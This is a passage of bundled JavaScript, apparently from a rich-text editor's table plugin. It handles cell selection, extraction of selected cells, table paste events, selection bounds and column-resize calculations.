        allCells.push(detail);
        if (isSelected(detail)) {
          selectedCells.push(detail);
          const startRow = detail.row;
          const endRow = startRow + detail.rowspan - 1;
          const startCol = detail.column;
          const endCol = startCol + detail.colspan - 1;
          if (startRow < minRow) {
            minRow = startRow;
          } else if (endRow > maxRow) {
            maxRow = endRow;
          }
          if (startCol < minCol) {
            minCol = startCol;
          } else if (endCol > maxCol) {
            maxCol = endCol;
          }
        }
      });
      return statsStruct(minRow, minCol, maxRow, maxCol, allCells, selectedCells);
    };
    const makeCell = (list, seenSelected, rowIndex) => {
      const row = list[rowIndex].element;
      const td = SugarElement.fromTag('td');
      append$1(td, SugarElement.fromTag('br'));
      const f = seenSelected ? append$1 : prepend;
      f(row, td);
    };
    const fillInGaps = (list, house, stats, isSelected) => {
      const rows = filter$2(list, row => row.section !== 'colgroup');
      const totalColumns = house.grid.columns;
      const totalRows = house.grid.rows;
      for (let i = 0; i < totalRows; i++) {
        let seenSelected = false;
        for (let j = 0; j < totalColumns; j++) {
          if (!(i < stats.minRow || i > stats.maxRow || j < stats.minCol || j > stats.maxCol)) {
            const needCell = Warehouse.getAt(house, i, j).filter(isSelected).isNone();
            if (needCell) {
              makeCell(rows, seenSelected, i);
            } else {
              seenSelected = true;
            }
          }
        }
      }
    };
    const clean = (replica, stats, house, widthDelta) => {
      each$1(house.columns, col => {
        if (col.column < stats.minCol || col.column > stats.maxCol) {
          remove$6(col.element);
        }
      });
      const emptyRows = filter$2(firstLayer(replica, 'tr'), row => row.dom.childElementCount === 0);
      each$2(emptyRows, remove$6);
      if (stats.minCol === stats.maxCol || stats.minRow === stats.maxRow) {
        each$2(firstLayer(replica, 'th,td'), cell => {
          remove$7(cell, 'rowspan');
          remove$7(cell, 'colspan');
        });
      }
      remove$7(replica, LOCKED_COL_ATTR);
      remove$7(replica, 'data-snooker-col-series');
      const tableSize = TableSize.getTableSize(replica);
      tableSize.adjustTableWidth(widthDelta);
    };
    const getTableWidthDelta = (table, warehouse, tableSize, stats) => {
      if (stats.minCol === 0 && warehouse.grid.columns === stats.maxCol + 1) {
        return 0;
      }
      const colWidths = getPixelWidths(warehouse, table, tableSize);
      const allColsWidth = foldl(colWidths, (acc, width) => acc + width, 0);
      const selectedColsWidth = foldl(colWidths.slice(stats.minCol, stats.maxCol + 1), (acc, width) => acc + width, 0);
      const newWidth = selectedColsWidth / allColsWidth * tableSize.pixelWidth();
      const delta = newWidth - tableSize.pixelWidth();
      return tableSize.getCellDelta(delta);
    };
    const extract$1 = (table, selectedSelector) => {
      const isSelected = detail => is$2(detail.element, selectedSelector);
      const replica = deep(table);
      const list = fromTable$1(replica);
      const tableSize = TableSize.getTableSize(table);
      const replicaHouse = Warehouse.generate(list);
      const replicaStats = findSelectedStats(replicaHouse, isSelected);
      const selector = 'th:not(' + selectedSelector + ')' + ',td:not(' + selectedSelector + ')';
      const unselectedCells = filterFirstLayer(replica, 'th,td', cell => is$2(cell, selector));
      each$2(unselectedCells, remove$6);
      fillInGaps(list, replicaHouse, replicaStats, isSelected);
      const house = Warehouse.fromTable(table);
      const widthDelta = getTableWidthDelta(table, house, tableSize, replicaStats);
      clean(replica, replicaStats, replicaHouse, widthDelta);
      return replica;
    };

    const nbsp = '\xA0';

    const NodeValue = (is, name) => {
      const get = element => {
        if (!is(element)) {
          throw new Error('Can only get ' + name + ' value of a ' + name + ' node');
        }
        return getOption(element).getOr('');
      };
      const getOption = element => is(element) ? Optional.from(element.dom.nodeValue) : Optional.none();
      const set = (element, value) => {
        if (!is(element)) {
          throw new Error('Can only set raw ' + name + ' value of a ' + name + ' node');
        }
        element.dom.nodeValue = value;
      };
      return {
        get,
        getOption,
        set
      };
    };

    const api = NodeValue(isText, 'text');
    const get$6 = element => api.get(element);
    const getOption = element => api.getOption(element);
    const set = (element, value) => api.set(element, value);

    const getEnd = element => name(element) === 'img' ? 1 : getOption(element).fold(() => children$2(element).length, v => v.length);
    const isTextNodeWithCursorPosition = el => getOption(el).filter(text => text.trim().length !== 0 || text.indexOf(nbsp) > -1).isSome();
    const elementsWithCursorPosition = [
      'img',
      'br'
    ];
    const isCursorPosition = elem => {
      const hasCursorPosition = isTextNodeWithCursorPosition(elem);
      return hasCursorPosition || contains$2(elementsWithCursorPosition, name(elem));
    };

    const first = element => descendant$1(element, isCursorPosition);
    const last$1 = element => descendantRtl(element, isCursorPosition);
    const descendantRtl = (scope, predicate) => {
      const descend = element => {
        const children = children$2(element);
        for (let i = children.length - 1; i >= 0; i--) {
          const child = children[i];
          if (predicate(child)) {
            return Optional.some(child);
          }
          const res = descend(child);
          if (res.isSome()) {
            return res;
          }
        }
        return Optional.none();
      };
      return descend(scope);
    };

    const transferableAttributes = {
      scope: [
        'row',
        'col'
      ]
    };
    const createCell = doc => () => {
      const td = SugarElement.fromTag('td', doc.dom);
      append$1(td, SugarElement.fromTag('br', doc.dom));
      return td;
    };
    const createCol = doc => () => {
      return SugarElement.fromTag('col', doc.dom);
    };
    const createColgroup = doc => () => {
      return SugarElement.fromTag('colgroup', doc.dom);
    };
    const createRow$1 = doc => () => {
      return SugarElement.fromTag('tr', doc.dom);
    };
    const replace$1 = (cell, tag, attrs) => {
      const replica = copy$2(cell, tag);
      each$1(attrs, (v, k) => {
        if (v === null) {
          remove$7(replica, k);
        } else {
          set$2(replica, k, v);
        }
      });
      return replica;
    };
    const pasteReplace = cell => {
      return cell;
    };
    const cloneFormats = (oldCell, newCell, formats) => {
      const first$1 = first(oldCell);
      return first$1.map(firstText => {
        const formatSelector = formats.join(',');
        const parents = ancestors$3(firstText, formatSelector, element => {
          return eq$1(element, oldCell);
        });
        return foldr(parents, (last, parent) => {
          const clonedFormat = shallow(parent);
          remove$7(clonedFormat, 'contenteditable');
          append$1(last, clonedFormat);
          return clonedFormat;
        }, newCell);
      }).getOr(newCell);
    };
    const cloneAppropriateAttributes = (original, clone) => {
      each$1(transferableAttributes, (validAttributes, attributeName) => getOpt(original, attributeName).filter(attribute => contains$2(validAttributes, attribute)).each(attribute => set$2(clone, attributeName, attribute)));
    };
    const cellOperations = (mutate, doc, formatsToClone) => {
      const cloneCss = (prev, clone) => {
        copy$1(prev.element, clone);
        remove$5(clone, 'height');
        if (prev.colspan !== 1) {
          remove$5(clone, 'width');
        }
      };
      const newCell = prev => {
        const td = SugarElement.fromTag(name(prev.element), doc.dom);
        const formats = formatsToClone.getOr([
          'strong',
          'em',
          'b',
          'i',
          'span',
          'font',
          'h1',
          'h2',
          'h3',
          'h4',
          'h5',
          'h6',
          'p',
          'div'
        ]);
        const lastNode = formats.length > 0 ? cloneFormats(prev.element, td, formats) : td;
        append$1(lastNode, SugarElement.fromTag('br'));
        cloneCss(prev, td);
        cloneAppropriateAttributes(prev.element, td);
        mutate(prev.element, td);
        return td;
      };
      const newCol = prev => {
        const col = SugarElement.fromTag(name(prev.element), doc.dom);
        cloneCss(prev, col);
        mutate(prev.element, col);
        return col;
      };
      return {
        col: newCol,
        colgroup: createColgroup(doc),
        row: createRow$1(doc),
        cell: newCell,
        replace: replace$1,
        colGap: createCol(doc),
        gap: createCell(doc)
      };
    };
    const paste$1 = doc => {
      return {
        col: createCol(doc),
        colgroup: createColgroup(doc),
        row: createRow$1(doc),
        cell: createCell(doc),
        replace: pasteReplace,
        colGap: createCol(doc),
        gap: createCell(doc)
      };
    };

    const fromHtml = (html, scope) => {
      const doc = scope || document;
      const div = doc.createElement('div');
      div.innerHTML = html;
      return children$2(SugarElement.fromDom(div));
    };
    const fromDom = nodes => map$1(nodes, SugarElement.fromDom);

    const getBody = editor => SugarElement.fromDom(editor.getBody());
    const getIsRoot = editor => element => eq$1(element, getBody(editor));
    const removeDataStyle = table => {
      remove$7(table, 'data-mce-style');
      const removeStyleAttribute = element => remove$7(element, 'data-mce-style');
      each$2(cells$1(table), removeStyleAttribute);
      each$2(columns$1(table), removeStyleAttribute);
      each$2(rows$1(table), removeStyleAttribute);
    };
    const getSelectionStart = editor => SugarElement.fromDom(editor.selection.getStart());
    const getPixelWidth = elm => elm.getBoundingClientRect().width;
    const getPixelHeight = elm => elm.getBoundingClientRect().height;
    const getRawWidth = (editor, elm) => {
      const raw = editor.dom.getStyle(elm, 'width') || editor.dom.getAttrib(elm, 'width');
      return Optional.from(raw).filter(isNotEmpty);
    };
    const isPercentage$1 = value => /^(\d+(\.\d+)?)%$/.test(value);
    const isPixel = value => /^(\d+(\.\d+)?)px$/.test(value);

    const inSelection = (bounds, detail) => {
      const leftEdge = detail.column;
      const rightEdge = detail.column + detail.colspan - 1;
      const topEdge = detail.row;
      const bottomEdge = detail.row + detail.rowspan - 1;
      return leftEdge <= bounds.finishCol && rightEdge >= bounds.startCol && (topEdge <= bounds.finishRow && bottomEdge >= bounds.startRow);
    };
    const isWithin = (bounds, detail) => {
      return detail.column >= bounds.startCol && detail.column + detail.colspan - 1 <= bounds.finishCol && detail.row >= bounds.startRow && detail.row + detail.rowspan - 1 <= bounds.finishRow;
    };
    const isRectangular = (warehouse, bounds) => {
      let isRect = true;
      const detailIsWithin = curry(isWithin, bounds);
      for (let i = bounds.startRow; i <= bounds.finishRow; i++) {
        for (let j = bounds.startCol; j <= bounds.finishCol; j++) {
          isRect = isRect && Warehouse.getAt(warehouse, i, j).exists(detailIsWithin);
        }
      }
      return isRect ? Optional.some(bounds) : Optional.none();
    };

    const getBounds = (detailA, detailB) => {
      return bounds(Math.min(detailA.row, detailB.row), Math.min(detailA.column, detailB.column), Math.max(detailA.row + detailA.rowspan - 1, detailB.row + detailB.rowspan - 1), Math.max(detailA.column + detailA.colspan - 1, detailB.column + detailB.colspan - 1));
    };
    const getAnyBox = (warehouse, startCell, finishCell) => {
      const startCoords = Warehouse.findItem(warehouse, startCell, eq$1);
      const finishCoords = Warehouse.findItem(warehouse, finishCell, eq$1);
      return startCoords.bind(sc => {
        return finishCoords.map(fc => {
          return getBounds(sc, fc);
        });
      });
    };
    const getBox$1 = (warehouse, startCell, finishCell) => {
      return getAnyBox(warehouse, startCell, finishCell).bind(bounds => {
        return isRectangular(warehouse, bounds);
      });
    };

    const moveBy$1 = (warehouse, cell, row, column) => {
      return Warehouse.findItem(warehouse, cell, eq$1).bind(detail => {
        const startRow = row > 0 ? detail.row + detail.rowspan - 1 : detail.row;
        const startCol = column > 0 ? detail.column + detail.colspan - 1 : detail.column;
        const dest = Warehouse.getAt(warehouse, startRow + row, startCol + column);
        return dest.map(d => {
          return d.element;
        });
      });
    };
    const intercepts$1 = (warehouse, start, finish) => {
      return getAnyBox(warehouse, start, finish).map(bounds => {
        const inside = Warehouse.filterItems(warehouse, curry(inSelection, bounds));
        return map$1(inside, detail => {
          return detail.element;
        });
      });
    };
    const parentCell = (warehouse, innerCell) => {
      const isContainedBy = (c1, c2) => {
        return contains$1(c2, c1);
      };
      return Warehouse.findItem(warehouse, innerCell, isContainedBy).map(detail => {
        return detail.element;
      });
    };

    const moveBy = (cell, deltaRow, deltaColumn) => {
      return table(cell).bind(table => {
        const warehouse = getWarehouse(table);
        return moveBy$1(warehouse, cell, deltaRow, deltaColumn);
      });
    };
    const intercepts = (table, first, last) => {
      const warehouse = getWarehouse(table);
      return intercepts$1(warehouse, first, last);
    };
    const nestedIntercepts = (table, first, firstTable, last, lastTable) => {
      const warehouse = getWarehouse(table);
      const optStartCell = eq$1(table, firstTable) ? Optional.some(first) : parentCell(warehouse, first);
      const optLastCell = eq$1(table, lastTable) ? Optional.some(last) : parentCell(warehouse, last);
      return optStartCell.bind(startCell => optLastCell.bind(lastCell => intercepts$1(warehouse, startCell, lastCell)));
    };
    const getBox = (table, first, last) => {
      const warehouse = getWarehouse(table);
      return getBox$1(warehouse, first, last);
    };
    const getWarehouse = Warehouse.fromTable;

    var TagBoundaries = [
      'body',
      'p',
      'div',
      'article',
      'aside',
      'figcaption',
      'figure',
      'footer',
      'header',
      'nav',
      'section',
      'ol',
      'ul',
      'li',
      'table',
      'thead',
      'tbody',
      'tfoot',
      'caption',
      'tr',
      'td',
      'th',
      'h1',
      'h2',
      'h3',
      'h4',
      'h5',
      'h6',
      'blockquote',
      'pre',
      'address'
    ];

    var DomUniverse = () => {
      const clone = element => {
        return SugarElement.fromDom(element.dom.cloneNode(false));
      };
      const document = element => documentOrOwner(element).dom;
      const isBoundary = element => {
        if (!isElement(element)) {
          return false;
        }
        if (name(element) === 'body') {
          return true;
        }
        return contains$2(TagBoundaries, name(element));
      };
      const isEmptyTag = element => {
        if (!isElement(element)) {
          return false;
        }
        return contains$2([
          'br',
          'img',
          'hr',
          'input'
        ], name(element));
      };
      const isNonEditable = element => isElement(element) && get$b(element, 'contenteditable') === 'false';
      const comparePosition = (element, other) => {
        return element.dom.compareDocumentPosition(other.dom);
      };
      const copyAttributesTo = (source, destination) => {
        const as = clone$2(source);
        setAll$1(destination, as);
      };
      const isSpecial = element => {
        const tag = name(element);
        return contains$2([
          'script',
          'noscript',
          'iframe',
          'noframes',
          'noembed',
          'title',
          'style',
          'textarea',
          'xmp'
        ], tag);
      };
      const getLanguage = element => isElement(element) ? getOpt(element, 'lang') : Optional.none();
      return {
        up: constant({
          selector: ancestor$1,
          closest: closest$1,
          predicate: ancestor$2,
          all: parents
        }),
        down: constant({
          selector: descendants,
          predicate: descendants$1
        }),
        styles: constant({
          get: get$a,
          getRaw: getRaw$2,
          set: set$1,
          remove: remove$5
        }),
        attrs: constant({
          get: get$b,
          set: set$2,
          remove: remove$7,
          copyTo: copyAttributesTo
        }),
        insert: constant({
          before: before$3,
          after: after$5,
          afterAll: after$4,
          append: append$1,
          appendAll: append,
          prepend: prepend,
          wrap: wrap
        }),
        remove: constant({
          unwrap: unwrap,
          remove: remove$6
        }),
        create: constant({
          nu: SugarElement.fromTag,
          clone,
          text: SugarElement.fromText
        }),
        query: constant({
          comparePosition,
          prevSibling: prevSibling,
          nextSibling: nextSibling
        }),
        property: constant({
          children: children$2,
          name: name,
          parent: parent,
          document,
          isText: isText,
          isComment: isComment,
          isElement: isElement,
          isSpecial,
          getLanguage,
          getText: get$6,
          setText: set,
          isBoundary,
          isEmptyTag,
          isNonEditable
        }),
        eq: eq$1,
        is: is$1
      };
    };

    const all = (universe, look, elements, f) => {
      const head = elements[0];
      const tail = elements.slice(1);
      return f(universe, look, head, tail);
    };
    const oneAll = (universe, look, elements) => {
      return elements.length > 0 ? all(universe, look, elements, unsafeOne) : Optional.none();
    };
    const unsafeOne = (universe, look, head, tail) => {
      const start = look(universe, head);
      return foldr(tail, (b, a) => {
        const current = look(universe, a);
        return commonElement(universe, b, current);
      }, start);
    };
    const commonElement = (universe, start, end) => {
      return start.bind(s => {
        return end.filter(curry(universe.eq, s));
      });
    };

    const eq = (universe, item) => {
      return curry(universe.eq, item);
    };
    const ancestors$2 = (universe, start, end, isRoot = never) => {
      const ps1 = [start].concat(universe.up().all(start));
      const ps2 = [end].concat(universe.up().all(end));
      const prune = path => {
        const index = findIndex(path, isRoot);
        return index.fold(() => {
          return path;
        }, ind => {
          return path.slice(0, ind + 1);
        });
      };
      const pruned1 = prune(ps1);
      const pruned2 = prune(ps2);
      const shared = find$1(pruned1, x => {
        return exists(pruned2, eq(universe, x));
      });
      return {
        firstpath: pruned1,
        secondpath: pruned2,
        shared
      };
    };

    const sharedOne$1 = oneAll;
    const ancestors$1 = ancestors$2;

    const universe$3 = DomUniverse();
    const sharedOne = (look, elements) => {
      return sharedOne$1(universe$3, (_universe, element) => {
        return look(element);
      }, elements);
    };
    const ancestors = (start, finish, isRoot) => {
      return ancestors$1(universe$3, start, finish, isRoot);
    };

    const lookupTable = container => {
      return ancestor$1(container, 'table');
    };
    const identify = (start, finish, isRoot) => {
      const getIsRoot = rootTable => {
        return element => {
          return isRoot !== undefined && isRoot(element) || eq$1(element, rootTable);
        };
      };
      if (eq$1(start, finish)) {
        return Optional.some({
          boxes: Optional.some([start]),
          start,
          finish
        });
      } else {
        return lookupTable(start).bind(startTable => {
          return lookupTable(finish).bind(finishTable => {
            if (eq$1(startTable, finishTable)) {
              return Optional.some({
                boxes: intercepts(startTable, start, finish),
                start,
                finish
              });
            } else if (contains$1(startTable, finishTable)) {
              const ancestorCells = ancestors$3(finish, 'td,th', getIsRoot(startTable));
              const finishCell = ancestorCells.length > 0 ? ancestorCells[ancestorCells.length - 1] : finish;
              return Optional.some({
                boxes: nestedIntercepts(startTable, start, startTable, finish, finishTable),
                start,
                finish: finishCell
              });
            } else if (contains$1(finishTable, startTable)) {
              const ancestorCells = ancestors$3(start, 'td,th', getIsRoot(finishTable));
              const startCell = ancestorCells.length > 0 ? ancestorCells[ancestorCells.length - 1] : start;
              return Optional.some({
                boxes: nestedIntercepts(finishTable, start, startTable, finish, finishTable),
                start,
                finish: startCell
              });
            } else {
              return ancestors(start, finish).shared.bind(lca => {
                return closest$1(lca, 'table', isRoot).bind(lcaTable => {
                  const finishAncestorCells = ancestors$3(finish, 'td,th', getIsRoot(lcaTable));
                  const finishCell = finishAncestorCells.length > 0 ? finishAncestorCells[finishAncestorCells.length - 1] : finish;
                  const startAncestorCells = ancestors$3(start, 'td,th', getIsRoot(lcaTable));
                  const startCell = startAncestorCells.length > 0 ? startAncestorCells[startAncestorCells.length - 1] : start;
                  return Optional.some({
                    boxes: nestedIntercepts(lcaTable, start, startTable, finish, finishTable),
                    start: startCell,
                    finish: finishCell
                  });
                });
              });
            }
          });
        });
      }
    };
    const retrieve$1 = (container, selector) => {
      const sels = descendants(container, selector);
      return sels.length > 0 ? Optional.some(sels) : Optional.none();
    };
    const getLast = (boxes, lastSelectedSelector) => {
      return find$1(boxes, box => {
        return is$2(box, lastSelectedSelector);
      });
    };
    const getEdges = (container, firstSelectedSelector, lastSelectedSelector) => {
      return descendant(container, firstSelectedSelector).bind(first => {
        return descendant(container, lastSelectedSelector).bind(last => {
          return sharedOne(lookupTable, [
            first,
            last
          ]).map(table => {
            return {
              first,
              last,
              table
            };
          });
        });
      });
    };
    const expandTo = (finish, firstSelectedSelector) => {
      return ancestor$1(finish, 'table').bind(table => {
        return descendant(table, firstSelectedSelector).bind(start => {
          return identify(start, finish).bind(identified => {
            return identified.boxes.map(boxes => {
              return {
                boxes,
                start: identified.start,
                finish: identified.finish
              };
            });
          });
        });
      });
    };
    const shiftSelection = (boxes, deltaRow, deltaColumn, firstSelectedSelector, lastSelectedSelector) => {
      return getLast(boxes, lastSelectedSelector).bind(last => {
        return moveBy(last, deltaRow, deltaColumn).bind(finish => {
          return expandTo(finish, firstSelectedSelector);
        });
      });
    };

    const retrieve = (container, selector) => {
      return retrieve$1(container, selector);
    };
    const retrieveBox = (container, firstSelectedSelector, lastSelectedSelector) => {
      return getEdges(container, firstSelectedSelector, lastSelectedSelector).bind(edges => {
        const isRoot = ancestor => {
          return eq$1(container, ancestor);
        };
        const sectionSelector = 'thead,tfoot,tbody,table';
        const firstAncestor = ancestor$1(edges.first, sectionSelector, isRoot);
        const lastAncestor = ancestor$1(edges.last, sectionSelector, isRoot);
        return firstAncestor.bind(fA => {
          return lastAncestor.bind(lA => {
            return eq$1(fA, lA) ? getBox(edges.table, edges.first, edges.last) : Optional.none();
          });
        });
      });
    };

    const selection = identity;
    const unmergable = selectedCells => {
      const hasSpan = (elem, type) => getOpt(elem, type).exists(span => parseInt(span, 10) > 1);
      const hasRowOrColSpan = elem => hasSpan(elem, 'rowspan') || hasSpan(elem, 'colspan');
      return selectedCells.length > 0 && forall(selectedCells, hasRowOrColSpan) ? Optional.some(selectedCells) : Optional.none();
    };
    const mergable = (table, selectedCells, ephemera) => {
      if (selectedCells.length <= 1) {
        return Optional.none();
      } else {
        return retrieveBox(table, ephemera.firstSelectedSelector, ephemera.lastSelectedSelector).map(bounds => ({
          bounds,
          cells: selectedCells
        }));
      }
    };

    const strSelected = 'data-mce-selected';
    const strSelectedSelector = 'td[' + strSelected + '],th[' + strSelected + ']';
    const strAttributeSelector = '[' + strSelected + ']';
    const strFirstSelected = 'data-mce-first-selected';
    const strFirstSelectedSelector = 'td[' + strFirstSelected + '],th[' + strFirstSelected + ']';
    const strLastSelected = 'data-mce-last-selected';
    const strLastSelectedSelector = 'td[' + strLastSelected + '],th[' + strLastSelected + ']';
    const attributeSelector = strAttributeSelector;
    const ephemera = {
      selected: strSelected,
      selectedSelector: strSelectedSelector,
      firstSelected: strFirstSelected,
      firstSelectedSelector: strFirstSelectedSelector,
      lastSelected: strLastSelected,
      lastSelectedSelector: strLastSelectedSelector
    };

    const forMenu = (selectedCells, table, cell) => ({
      element: cell,
      mergable: mergable(table, selectedCells, ephemera),
      unmergable: unmergable(selectedCells),
      selection: selection(selectedCells)
    });
    const paste = (element, clipboard, generators) => ({
      element,
      clipboard,
      generators
    });
    const pasteRows = (selectedCells, _cell, clipboard, generators) => ({
      selection: selection(selectedCells),
      clipboard,
      generators
    });

    const getSelectionCellFallback = element => table(element).bind(table => retrieve(table, ephemera.firstSelectedSelector)).fold(constant(element), cells => cells[0]);
    const getSelectionFromSelector = selector => (initCell, isRoot) => {
      const cellName = name(initCell);
      const cell = cellName === 'col' || cellName === 'colgroup' ? getSelectionCellFallback(initCell) : initCell;
      return closest$1(cell, selector, isRoot);
    };
    const getSelectionCellOrCaption = getSelectionFromSelector('th,td,caption');
    const getSelectionCell = getSelectionFromSelector('th,td');
    const getCellsFromSelection = editor => fromDom(editor.model.table.getSelectedCells());
    const getCellsFromFakeSelection = editor => filter$2(getCellsFromSelection(editor), cell => is$2(cell, ephemera.selectedSelector));

    const extractSelected = cells => {
      return table(cells[0]).map(table => {
        const replica = extract$1(table, attributeSelector);
        removeDataStyle(replica);
        return [replica];
      });
    };
    const serializeElements = (editor, elements) => map$1(elements, elm => editor.selection.serializer.serialize(elm.dom, {})).join('');
    const getTextContent = elements => map$1(elements, element => element.dom.innerText).join('');
    const registerEvents = (editor, actions) => {
      editor.on('BeforeGetContent', e => {
        const multiCellContext = cells => {
          e.preventDefault();
          extractSelected(cells).each(elements => {
            e.content = e.format === 'text' ? getTextContent(elements) : serializeElements(editor, elements);
          });
        };
        if (e.selection === true) {
          const cells = getCellsFromFakeSelection(editor);
          if (cells.length >= 1) {
            multiCellContext(cells);
          }
        }
      });
      editor.on('BeforeSetContent', e => {
        if (e.selection === true && e.paste === true) {
          const selectedCells = getCellsFromSelection(editor);
          head(selectedCells).each(cell => {
            table(cell).each(table => {
              const elements = filter$2(fromHtml(e.content), content => {
                return name(content) !== 'meta';
              });
              const isTable = isTag('table');
              if (elements.length === 1 && isTable(elements[0])) {
                e.preventDefault();
                const doc = SugarElement.fromDom(editor.getDoc());
                const generators = paste$1(doc);
                const targets = paste(cell, elements[0], generators);
                actions.pasteCells(table, targets).each(() => {
                  editor.focus();
                });
              }
            });
          });
        }
      });
    };

    const point = (element, offset) => ({
      element,
      offset
    });

    const scan$1 = (universe, element, direction) => {
      if (universe.property().isText(element) && universe.property().getText(element).trim().length === 0 || universe.property().isComment(element)) {
        return direction(element).bind(elem => {
          return scan$1(universe, elem, direction).orThunk(() => {
            return Optional.some(elem);
          });
        });
      } else {
        return Optional.none();
      }
    };
    const toEnd = (universe, element) => {
      if (universe.property().isText(element)) {
        return universe.property().getText(element).length;
      }
      const children = universe.property().children(element);
      return children.length;
    };
    const freefallRtl$2 = (universe, element) => {
      const candidate = scan$1(universe, element, universe.query().prevSibling).getOr(element);
      if (universe.property().isText(candidate)) {
        return point(candidate, toEnd(universe, candidate));
      }
      const children = universe.property().children(candidate);
      return children.length > 0 ? freefallRtl$2(universe, children[children.length - 1]) : point(candidate, toEnd(universe, candidate));
    };

    const freefallRtl$1 = freefallRtl$2;

    const universe$2 = DomUniverse();
    const freefallRtl = element => {
      return freefallRtl$1(universe$2, element);
    };

    const halve = (main, other) => {
      if (!hasColspan(main)) {
        const width = getGenericWidth(main);
        width.each(w => {
          const newWidth = w.value / 2;
          setGenericWidth(main, newWidth, w.unit);
          setGenericWidth(other, newWidth, w.unit);
        });
      }
    };

    const zero = array => map$1(array, constant(0));
    const surround = (sizes, startIndex, endIndex, results, f) => f(sizes.slice(0, startIndex)).concat(results).concat(f(sizes.slice(endIndex)));
    const clampDeltaHelper = predicate => (sizes, index, delta, minCellSize) => {
      if (!predicate(delta)) {
        return delta;
      } else {
        const newSize = Math.max(minCellSize, sizes[index] - Math.abs(delta));
        const diff = Math.abs(newSize - sizes[index]);
        return delta >= 0 ? diff : -diff;
      }
    };
    const clampNegativeDelta = clampDeltaHelper(delta => delta < 0);
    const clampDelta = clampDeltaHelper(always);
    const resizeTable = () => {
      const calcFixedDeltas = (sizes, index, next, delta, minCellSize) => {
        const clampedDelta = clampNegativeDelta(sizes, index, delta, minCellSize);
        return surround(sizes, index, next + 1, [
          clampedDelta,
          0
        ], zero);
      };
      const calcRelativeDeltas = (sizes, index, delta, minCellSize) => {
        const ratio = (100 + delta) / 100;
        const newThis = Math.max(minCellSize, (sizes[index] + delta) / ratio);
        return map$1(sizes, (size, idx) => {
          const newSize = idx === index ? newThis : size / ratio;
          return newSize - size;
        });
      };
      const calcLeftEdgeDeltas = (sizes, index, next, delta, minCellSize, isRelative) => {
        if (isRelative) {
          return calcRelativeDeltas(sizes, index, delta, minCellSize);
        } else {
          return calcFixedDeltas(sizes, index, next, delta, minCellSize);
        }
      };
      const calcMiddleDeltas = (sizes, _prev, index, next, delta, minCellSize, isRelative) => calcLeftEdgeDeltas(sizes, index, next, delta, minCellSize, isRelative);
      const resizeTable = (resizer, delta) => resizer(delta);
      const calcRightEdgeDeltas = (sizes, _prev, index, delta, minCellSize, isRelative) => {
        if (isRelative) {
          return calcRelativeDeltas(sizes, index, delta, minCellSize);
        } else {
          const clampedDelta = clampNegativeDelta(sizes, index, delta, minCellSize);
          return zero(sizes.slice(0, index)).concat([clampedDelta]);
        }
      };
      const calcRedestributedWidths = (sizes, totalWidth, pixelDelta, isRelative) => {
        if (isRelative) {
          const tableWidth = totalWidth + pixelDelta;
          const ratio = tableWidth / totalWidth;
          const newSizes = map$1(sizes, size => size / ratio);
          return {
            delta: ratio * 100 - 100,
            newSizes
          };
        } else {
          return {
            delta: pixelDelta,
            newSizes: sizes
          };
        }
      };
      return {
        resizeTable,
        clampTableDelta: clampNegativeDelta,
        calcLeftEdgeDeltas,
        calcMiddleDeltas,
        calcRightEdgeDeltas,
        calcRedestributedWidths
      };
    };
    const preserveTable = () => {
      const calcLeftEdgeDeltas = (sizes, index, next, delta, minCellSize) => {
        const idx = delta >= 0 ? next : index;
        const clampedDelta = clampDelta(sizes, idx, delta, minCellSize);
        return surround(sizes, index, next + 1, [
          clampedDelta,
          -clampedDelta
        ], zero);
      };
      const calcMiddleDeltas = (sizes, _prev, index, next, delta, minCellSize) => calcLeftEdgeDeltas(sizes, index, next, delta, minCellSize);
      const resizeTable = (resizer, delta, isLastColumn) => {
        if (isLastColumn) {
          resizer(delta);
        }
      };
      const calcRightEdgeDeltas = (sizes, _prev, _index, delta, _minCellSize, isRelative) => {
        if (isRelative) {
          return zero(sizes);
        } else {
          const diff = delta / sizes.length;
          return map$1(sizes, constant(diff));
        }
      };
      const clampTableDelta = (sizes, index, delta, minCellSize, isLastColumn) => {
        if (isLastColumn) {
          if (delta >= 0) {
            return delta;
          } else {
            const maxDelta = foldl(sizes, (a, b) => a + b - minCellSize, 0);
            return Math.max(-maxDelta, delta);
          }
        } else {
          return clampNegativeDelta(sizes, index, delta, minCellSize);
        }
      };
      const calcRedestributedWidths = (sizes, _totalWidth, _pixelDelta, _isRelative) => ({
        delta: 0,
        newSizes: sizes
      });
      return {
        resizeTable,
        clampTableDelta,
        calcLeftEdgeDeltas,
        calcMiddleDeltas,
        calcRightEdgeDeltas,
        calcRedestributedWidths
      };
    };

    const getGridSize = table => {
      const warehouse = Warehouse.fromTable(table);
      return warehouse.grid;
    };

    const isHeaderCell = isTag('th');
    const isHeaderCells = cells => forall(cells, cell => isHeaderCell(cell.element));
    const getRowHeaderType = (isHeaderRow, isHeaderCells) => {
      if (isHeaderRow && isHeaderCells) {
        return 'sectionCells';
      } else if (isHeaderRow) {
        return 'section';
      } else {
        return 'cells';
      }
    };
    const getRowType = row => {
      const isHeaderRow = row.section === 'thead';
      const isHeaderCells = is(findCommonCellType(row.cells), 'th');
      if (row.section === 'tfoot') {
        return { type: 'footer' };
      } else if (isHeaderRow || isHeaderCells) {
        return {
          type: 'header',
          subType: getRowHeaderType(isHeaderRow, isHeaderCells)
        };
      } else {
        return { type: 'body' };
      }
    };
    const findCommonCellType = cells => {
      const headerCells = filter$2(cells, cell => isHeaderCell(cell.element));
      if (headerCells.length === 0) {
        return Optional.some('td');
      } else if (headerCells.length === cells.length) {
        return Optional.some('th');
      } else {
        return Optional.none();
      }
    };
    const findCommonRowType = rows => {
      const rowTypes = map$1(rows, row => getRowType(row).type);
      const hasHeader = contains$2(rowTypes, 'header');
      const hasFooter = contains$2(rowTypes, 'footer');
      if (!hasHeader && !hasFooter) {
        return Optional.some('body');
      } else {
        const hasBody = contains$2(rowTypes, 'body');
        if (hasHeader && !hasBody && !hasFooter) {
          return Optional.some('header');
        } else if (!hasHeader && !hasBody && hasFooter) {
          return Optional.some('footer');
        } else {
          return Optional.none();
        }
      }
    };
    const findTableRowHeaderType = warehouse => findMap(warehouse.all, row => {
      const rowType = getRowType(row);
      return rowType.type === 'header' ? Optional.from(rowType.subType) : Optional.none();
    });

    const transformCell = (cell, comparator, substitution) => elementnew(substitution(cell.element, comparator), true, cell.isLocked);
    const transformRow = (row, section) => row.section !== section ? rowcells(row.element, row.cells, section, row.isNew) : row;
    const section = () => ({
      transformRow,
      transformCell: (cell, comparator, substitution) => {
        const newCell = substitution(cell.element, comparator);
        const fixedCell = name(newCell) !== 'td' ? mutate$1(newCell, 'td') : newCell;
